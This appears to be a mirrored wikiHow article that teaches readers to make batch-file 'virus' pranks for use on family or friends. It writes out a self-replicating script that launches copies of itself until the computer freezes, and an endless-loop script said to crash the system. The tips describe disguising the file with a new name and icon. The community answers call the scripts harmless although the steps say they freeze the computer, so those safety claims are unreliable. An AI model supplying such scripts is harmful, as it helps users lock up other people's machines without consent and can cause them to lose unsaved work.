Download ArticleDownload Article

Sometimes, you might be thinking of making your own prank for others, but your family/friends are technological. This article will teach how to make a self-replicating, harmless virus, that freezes your computer as a prank.

Method 1
Method 1 of 2:

Echo Window Prank

Download Article
  1. How.com.vn English: Step 1 Open Notepad.
    You can also open any other word processor.
  2. How.com.vn English: Step 2 Type on the first line.
    It should be "@echo off".
    Advertisement
  3. How.com.vn English: Step 3 Type the following code on the next line:
    • cd %homedrive%/users/%username%/
    • (
    • echo start s.bat
    • )>>s.bat
    • start s.bat
  4. 4
    Save the file. Remember to add the ".bat" extension to the end of the file name.
  5. How.com.vn English: Step 5 Open the file.
    It will open many pointless windows, but it will freeze the computer.
  6. How.com.vn English: Step 6 Shut down your computer.
    It will return to normal.
  7. Advertisement
Method 2
Method 2 of 2:

Endless Loop Prank

Download Article
  1. How.com.vn English: Step 1 Open Notepad, or another word processor.
  2. How.com.vn English: Step 2 Type :
    BEGIN.
  3. How.com.vn English: Step 3 Type ECHO.
  4. Step 4 Put the command, "goto begin".
  5. How.com.vn English: Step 5 Save as loop.
    bat.
  6. How.com.vn English: Step 6 Open the file.
    It will most likely crash your computer as it continues to spam the help window.
  7. 7
    Stop the virus. You must tap X to do so.
  8. Advertisement

Community Q&A

Search
Add New Question
  • Question
    Can this harm my computer?
    How.com.vn English: Community Answer
    Community Answer
    No, this will not harm your computer in any way. This will only freeze or lag your computer, but after rebooting, it will be completely fine.
  • Question
    Will this cause my computer to crash?
    How.com.vn English: Hello903hello
    Hello903hello
    Community Answer
    No. Unless your computer has too little RAM (Random Access Memory), or you opened up too many apps (especially Google Chrome). In that case your RAM would be used up and cause your computer to lag.
  • Question
    How do I fix a PC loop program?
    How.com.vn English: Community Answer
    Community Answer
    Right click on the taskbar and go to Task Manager. Select the program and click on "end task". This will fix the problem. If it doesn't, restart your system.
See more answers
Ask a Question
200 characters left
Include your email address to get a message when this question is answered.
Submit
      Advertisement

      Tips

      • You can change the filename from virus to anything you want, just as long as you change every part of the file where it says virus to your new name.
      • When changing the name, be sure to keep the ".bat" part.
      • To change the icon of any short cut, right-click on it and select properties. Next, click the change icon. It might give you an error but ignore it and continue. Then select the one you want, and press okay/apply.
      Submit a Tip
      All tip submissions are carefully reviewed before being published
      Thanks for submitting a tip for review!
      Advertisement

      Warnings

      Advertisement

      About This Article

      How.com.vn is a “wiki,” similar to Wikipedia, which means that many of our articles are co-written by multiple authors. To create this article, 39 people, some anonymous, worked to edit and improve it over time. This article has been viewed 142,409 times.
      71 votes - 71%
      Co-authors: 39
      Updated: April 12, 2023
      Views: 142,409
      Categories: Computer Pranks
      Thanks to all authors for creating a page that has been read 142,409 times.

      Did this article help you?

      ⚠️ Disclaimer:

      Content from Wiki How English language website. Text is available under the Creative Commons Attribution-Share Alike License; additional terms may apply.
      Wiki How does not encourage the violation of any laws, and cannot be responsible for any violations of such laws, should you link to this domain, or use, reproduce, or republish the information contained herein.

      Notices:
      • - A few of these subjects are frequently censored by educational, governmental, corporate, parental and other filtering schemes.
      • - Some articles may contain names, images, artworks or descriptions of events that some cultures restrict access to
      • - Please note: Wiki How does not give you opinion about the law, or advice about medical. If you need specific advice (for example, medical, legal, financial or risk management), please seek a professional who is licensed or knowledgeable in that area.
      • - Readers should not judge the importance of topics based on their coverage on Wiki How, nor think a topic is important just because it is the subject of a Wiki article.

      Advertisement